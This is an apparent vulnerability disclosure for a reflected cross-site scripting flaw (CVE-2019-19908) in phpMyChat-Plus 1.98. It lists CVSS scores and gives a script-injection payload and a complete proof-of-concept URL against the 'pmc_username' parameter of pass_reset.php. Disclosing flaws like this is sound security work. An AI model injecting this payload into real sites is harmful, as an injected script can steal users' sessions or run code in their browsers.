phpMyChat-Plus 1.98 Cross Site Scripting

2019.12.24

Credit: Chris Inzinga

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2019-19908

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: phpMyChat-Plus 1.98 - 'pmc_username' Reflected Cross-Site Scripting
# Date: 2019-12-19
# Exploit Author: Chris Inzinga
# Vendor Homepage: http://ciprianmp.com/latest/
# Download: https://sourceforge.net/projects/phpmychat/
# Tested On: Linux & Mac
# Version: 1.98
# CVE: CVE-2019-19908

Description: 
The "pmc_username" parameter of pass_reset.php is vulnerable to reflected XSS

Payload: 
"><script>alert('xss')</script>

Vulnerable URL: 
http://localhost/plus/pass_reset.php?L=english&pmc_username="><script>alert('xss')</script>

See this note in RAW Version

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phpMyChat-Plus 1.98 Cross Site Scripting

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